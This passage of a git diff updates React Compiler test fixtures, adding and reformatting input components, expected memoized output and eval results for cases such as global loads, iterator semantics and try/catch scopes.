+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== T0 || $[4] !== t1) {
+    t2 = <T0 value={t1} />;
+    $[3] = T0;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ num: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":2}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.tsx
new file mode 100644
index 000000000000..ff000fd86699
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.tsx
@@ -0,0 +1,17 @@
+import {Stringify} from 'shared-runtime';
+import {makeArray} from 'shared-runtime';
+
+/**
+ * Here, we don't need to memoize Stringify as it is a read off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component({num}: {num: number}) {
+  const arr = makeArray(num);
+  return <Stringify value={arr.push(num)}></Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{num: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.expect.md
new file mode 100644
index 000000000000..058f5ab0a986
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+import * as SharedRuntime from 'shared-runtime';
+import {makeArray} from 'shared-runtime';
+
+/**
+ * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad
+ * off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component({num}: {num: number}) {
+  const arr = makeArray(num);
+  return (
+    <SharedRuntime.Stringify value={arr.push(num)}></SharedRuntime.Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{num: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import * as SharedRuntime from "shared-runtime";
+import { makeArray } from "shared-runtime";
+
+/**
+ * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad
+ * off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component(t0) {
+  const $ = _c(6);
+  const { num } = t0;
+  let T0;
+  let t1;
+  if ($[0] !== num) {
+    const arr = makeArray(num);
+    T0 = SharedRuntime.Stringify;
+    t1 = arr.push(num);
+    $[0] = num;
+    $[1] = T0;
+    $[2] = t1;
+  } else {
+    T0 = $[1];
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] !== T0 || $[4] !== t1) {
+    t2 = <T0 value={t1} />;
+    $[3] = T0;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ num: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"value":2}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.tsx
new file mode 100644
index 000000000000..be9f3e7ab9ce
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-property-load-cached.tsx
@@ -0,0 +1,20 @@
+import * as SharedRuntime from 'shared-runtime';
+import {makeArray} from 'shared-runtime';
+
+/**
+ * Here, we don't need to memoize SharedRuntime.Stringify as it is a PropertyLoad
+ * off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component({num}: {num: number}) {
+  const arr = makeArray(num);
+  return (
+    <SharedRuntime.Stringify value={arr.push(num)}></SharedRuntime.Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{num: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.expect.md
new file mode 100644
index 000000000000..b4aec392e1af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.expect.md
@@ -0,0 +1,110 @@
+
+## Input
+
+```javascript
+import {useIdentity, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Fixture for granular iterator semantics:
+ * 1. ConditionallyMutate the iterator itself, depending on whether the iterator
+ *    is a mutable iterator.
+ * 2. Capture effect on elements within the iterator.
+ */
+function Validate({x, input}) {
+  'use no memo';
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[input]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo(input) {
+  'use memo';
+  /**
+   * We should be able to memoize {} separately from `x`.
+   */
+  const x = Array.from([{}]);
+  useIdentity();
+  x.push([input]);
+  return <Validate x={x} input={input} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [1],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity, ValidateMemoization } from "shared-runtime";
+
+/**
+ * Fixture for granular iterator semantics:
+ * 1. ConditionallyMutate the iterator itself, depending on whether the iterator
+ *    is a mutable iterator.
+ * 2. Capture effect on elements within the iterator.
+ */
+function Validate({ x, input }) {
+  "use no memo";
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[input]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo(input) {
+  "use memo";
+  const $ = _c(6);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = [{}];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const x = Array.from(t0);
+  useIdentity();
+  let t1;
+  if ($[1] !== input) {
+    t1 = [input];
+    $[1] = input;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  x.push(t1);
+  let t2;
+  if ($[3] !== input || $[4] !== x) {
+    t2 = <Validate x={x} input={input} />;
+    $[3] = input;
+    $[4] = x;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [1],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[],"output":{}}</div><div>{"inputs":[1],"output":[1]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.js
new file mode 100644
index 000000000000..3e24d0b5b2e9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-granular-iterator-semantics.js
@@ -0,0 +1,36 @@
+import {useIdentity, ValidateMemoization} from 'shared-runtime';
+
+/**
+ * Fixture for granular iterator semantics:
+ * 1. ConditionallyMutate the iterator itself, depending on whether the iterator
+ *    is a mutable iterator.
+ * 2. Capture effect on elements within the iterator.
+ */
+function Validate({x, input}) {
+  'use no memo';
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={x[0]} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[input]}
+        output={x[1]}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+function useFoo(input) {
+  'use memo';
+  /**
+   * We should be able to memoize {} separately from `x`.
+   */
+  const x = Array.from([{}]);
+  useIdentity();
+  x.push([input]);
+  return <Validate x={x} input={input} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [1],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.expect.md
new file mode 100644
index 000000000000..c9d71a8c3b79
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useFoo(props) {
+  const $ = _c(3);
+  const value = props.value;
+  let t0;
+  if ($[0] !== value?.x || $[1] !== value?.y) {
+    t0 = createArray(value?.x, value?.y)?.join(", ");
+    $[0] = value?.x;
+    $[1] = value?.y;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+
+function createArray(...t0) {
+  const args = t0;
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{ value: null }],
+};
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.ts
new file mode 100644
index 000000000000..7ee50e038028
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-optional-call-chain-in-optional.ts
@@ -0,0 +1,13 @@
+function useFoo(props: {value: {x: string; y: string} | null}) {
+  const value = props.value;
+  return createArray(value?.x, value?.y)?.join(', ');
+}
+
+function createArray<T>(...args: Array<T>): Array<T> {
+  return args;
+}
+
+export const FIXTURE_ENTRYPONT = {
+  fn: useFoo,
+  props: [{value: null}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md
index 442980804c03..930be997fad8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md
@@ -2,17 +2,17 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 function Component(props) {
-  const { [props.name]: value } = props;
+  const {[props.name]: value} = props;
   return value;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
 
 ```
@@ -21,13 +21,20 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  3 | const SCALE = 2;
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> value$3.
+
+todo.error.object-pattern-computed-key.ts:6:9
   4 | function Component(props) {
-> 5 |   const { [props.name]: value } = props;
-    |           ^^^^^^^^^^^^^^^^^^^ Todo: (BuildHIR::lowerAssignment) Handle computed properties in ObjectPattern (5:5)
-  6 |   return value;
+  5 |   const {[props.name]: value} = props;
+> 6 |   return value;
+    |          ^^^^^ this is uninitialized
   7 | }
   8 |
+  9 | export const FIXTURE_ENTRYPOINT = {
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.js
index 602014aef7dc..9a3d13bd0a8a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.js
@@ -1,12 +1,12 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 const SCALE = 2;
 function Component(props) {
-  const { [props.name]: value } = props;
+  const {[props.name]: value} = props;
   return value;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Sathya" }],
+  params: [{name: 'Sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.expect.md
new file mode 100644
index 000000000000..771175e1292e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+function useHook(nodeID, condition) {
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  // (2) Instead we can create a scope around the loop since the loop produces an escaping value
+  let value;
+  for (const key of Object.keys(node?.fields ?? {})) {
+    if (condition) {
+      // (1) We currently create a scope just for this instruction, then later prune the scope because
+      // it's inside a loop
+      value = new Class(node.fields?.[field]);
+      break;
+    }
+  }
+  return value;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function useHook(nodeID, condition) {
+  const $ = _c(6);
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  let value;
+  let t0;
+  if ($[0] !== node?.fields) {
+    t0 = Object.keys(node?.fields ?? {});
+    $[0] = node?.fields;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {
+    for (const key of t0) {
+      if (condition) {
+        value = new Class(node.fields?.[field]);
+        break;
+      }
+    }
+    $[2] = condition;
+    $[3] = node;
+    $[4] = t0;
+    $[5] = value;
+  } else {
+    value = $[5];
+  }
+
+  return value;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.js
new file mode 100644
index 000000000000..0a70976a0840
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.js
@@ -0,0 +1,16 @@
+function useHook(nodeID, condition) {
+  const graph = useContext(GraphContext);
+  const node = nodeID != null ? graph[nodeID] : null;
+
+  // (2) Instead we can create a scope around the loop since the loop produces an escaping value
+  let value;
+  for (const key of Object.keys(node?.fields ?? {})) {
+    if (condition) {
+      // (1) We currently create a scope just for this instruction, then later prune the scope because
+      // it's inside a loop
+      value = new Class(node.fields?.[field]);
+      break;
+    }
+  }
+  return value;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.expect.md
index e5ece01a5ed3..4bd0867ab776 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.expect.md
@@ -13,7 +13,7 @@ function Component(props) {
   // that it is a plain, readonly javascript object, then we can infer that any `.map()`
   // calls *must* be Array.prototype.map (or else they are a runtime error), since no
   // other builtin has a .map() function.
-  const items = data.items.map((item) => <Item item={item} />);
+  const items = data.items.map(item => <Item item={item} />);
   return <div>{items}</div>;
 }
 
@@ -24,18 +24,11 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(5);
+  const $ = _c(4);
   const data = useFreeze();
   let t0;
   if ($[0] !== data.items) {
-    let t1;
-    if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-      t1 = (item) => <Item item={item} />;
-      $[2] = t1;
-    } else {
-      t1 = $[2];
-    }
-    t0 = data.items.map(t1);
+    t0 = data.items.map(_temp);
     $[0] = data.items;
     $[1] = t0;
   } else {
@@ -43,15 +36,18 @@ function Component(props) {
   }
   const items = t0;
   let t1;
-  if ($[3] !== items) {
+  if ($[2] !== items) {
     t1 = <div>{items}</div>;
-    $[3] = items;
-    $[4] = t1;
+    $[2] = items;
+    $[3] = t1;
   } else {
-    t1 = $[4];
+    t1 = $[3];
   }
   return t1;
 }
+function _temp(item) {
+  return <Item item={item} />;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.js
index b6162c03bd6f..d57826380247 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.js
@@ -9,6 +9,6 @@ function Component(props) {
   // that it is a plain, readonly javascript object, then we can infer that any `.map()`
   // calls *must* be Array.prototype.map (or else they are a runtime error), since no
   // other builtin has a .map() function.
-  const items = data.items.map((item) => <Item item={item} />);
+  const items = data.items.map(item => <Item item={item} />);
   return <div>{items}</div>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.expect.md
index f4c795ed7e6f..1cd97874c376 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const x = {};
@@ -36,7 +36,6 @@ function Component(props) {
     const y = {};
     const items = [x, y];
     items.pop();
-
     mutate(y);
     t0 = [x, y, items];
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.js
index 32f45d27d221..6a35431cc32a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.js
@@ -1,5 +1,5 @@
 // @enablePreserveExistingMemoizationGuarantees
-const { mutate } = require("shared-runtime");
+const {mutate} = require('shared-runtime');
 
 function Component(props) {
   const x = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.expect.md
index ff1a2e16e722..ef9641e0e54d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @enableTransitivelyFreezeFunctionExpressions
 function Component(props) {
-  const { data, loadNext, isLoadingNext } =
+  const {data, loadNext, isLoadingNext} =
     usePaginationFragment(props.key).items ?? [];
 
   const loadMoreWithTiming = () => {
@@ -21,7 +21,7 @@ function Component(props) {
     loadMoreWithTiming();
   }, [isLoadingNext, loadMoreWithTiming]);
 
-  const items = data.map((x) => x);
+  const items = data.map(x => x);
 
   return items;
 }
@@ -33,7 +33,7 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime"; // @enableTransitivelyFreezeFunctionExpressions
 function Component(props) {
-  const $ = _c(10);
+  const $ = _c(9);
   const { data, loadNext, isLoadingNext } =
     usePaginationFragment(props.key).items ?? [];
   let t0;
@@ -59,7 +59,6 @@ function Component(props) {
       if (isLoadingNext) {
         return;
       }
-
       loadMoreWithTiming();
     };
     t2 = [isLoadingNext, loadMoreWithTiming];
@@ -74,22 +73,19 @@ function Component(props) {
   useEffect(t1, t2);
   let t3;
   if ($[7] !== data) {
-    let t4;
-    if ($[9] === Symbol.for("react.memo_cache_sentinel")) {
-      t4 = (x) => x;
-      $[9] = t4;
-    } else {
-      t4 = $[9];
-    }
-    t3 = data.map(t4);
+    t3 = data.map(_temp);
     $[7] = data;
     $[8] = t3;
   } else {
     t3 = $[8];
   }
   const items = t3;
+
   return items;
 }
+function _temp(x) {
+  return x;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.js
index 7a3dd5a5e5bb..d0fa265fa7b2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.js
@@ -1,6 +1,6 @@
 // @enableTransitivelyFreezeFunctionExpressions
 function Component(props) {
-  const { data, loadNext, isLoadingNext } =
+  const {data, loadNext, isLoadingNext} =
     usePaginationFragment(props.key).items ?? [];
 
   const loadMoreWithTiming = () => {
@@ -17,7 +17,7 @@ function Component(props) {
     loadMoreWithTiming();
   }, [isLoadingNext, loadMoreWithTiming]);
 
-  const items = data.map((x) => x);
+  const items = data.map(x => x);
 
   return items;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.expect.md
index 9338eb0c5247..f350c911fc3a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.expect.md
@@ -8,8 +8,8 @@ function foo(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.js
index 919ecd351f8a..34d913c363b1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.js
@@ -4,6 +4,6 @@ function foo(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.expect.md
index afae9ba9d7c4..b90d072ced87 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.js
index 72b64d0c3ab6..58df3967b36b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.js
@@ -1,4 +1,4 @@
-const { throwInput } = require("shared-runtime");
+const {throwInput} = require('shared-runtime');
 
 function Component(props) {
   let y;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.expect.md
index 962c870d8033..afc7386d8ba8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.expect.md
@@ -13,7 +13,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
 
 ```
@@ -23,6 +23,7 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function Component(props) {
   const x = props.default;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.js
index 0927b1e0b862..d574fb57fc5d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.js
@@ -9,5 +9,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ default: 42 }],
+  params: [{default: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.expect.md
index ccbcae1636f5..137bb83b49f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.expect.md
@@ -2,20 +2,20 @@
 ## Input
 
 ```javascript
-import { mutate, setProperty, throwErrorWithMessageIf } from "shared-runtime";
+import {mutate, setProperty, throwErrorWithMessageIf} from 'shared-runtime';
 
-function useFoo({ value, cond }) {
+function useFoo({value, cond}) {
   let y = [value];
-  let x = { cond };
+  let x = {cond};
 
   try {
     mutate(x);
-    throwErrorWithMessageIf(x.cond, "error");
+    throwErrorWithMessageIf(x.cond, 'error');
   } catch {
-    setProperty(x, "henderson");
+    setProperty(x, 'henderson');
     return x;
   }
-  setProperty(x, "nevada");
+  setProperty(x, 'nevada');
   y.push(x);
 
   return y;
@@ -23,11 +23,11 @@ function useFoo({ value, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ value: 4, cond: true }],
+  params: [{value: 4, cond: true}],
   sequentialRenders: [
-    { value: 4, cond: true },
-    { value: 5, cond: true },
-    { value: 5, cond: false },
+    {value: 4, cond: true},
+    {value: 5, cond: true},
+    {value: 5, cond: false},
   ],
 };
 
@@ -42,9 +42,9 @@ import { mutate, setProperty, throwErrorWithMessageIf } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(6);
   const { value, cond } = t0;
-  let y;
   let t1;
-  if ($[0] !== value || $[1] !== cond) {
+  let y;
+  if ($[0] !== cond || $[1] !== value) {
     t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
       y = [value];
@@ -68,17 +68,18 @@ function useFoo(t0) {
       }
       y.push(x);
     }
-    $[0] = value;
-    $[1] = cond;
-    $[2] = y;
-    $[3] = t1;
+    $[0] = cond;
+    $[1] = value;
+    $[2] = t1;
+    $[3] = y;
   } else {
-    y = $[2];
-    t1 = $[3];
+    t1 = $[2];
+    y = $[3];
   }
   if (t1 !== Symbol.for("react.early_return_sentinel")) {
     return t1;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.ts
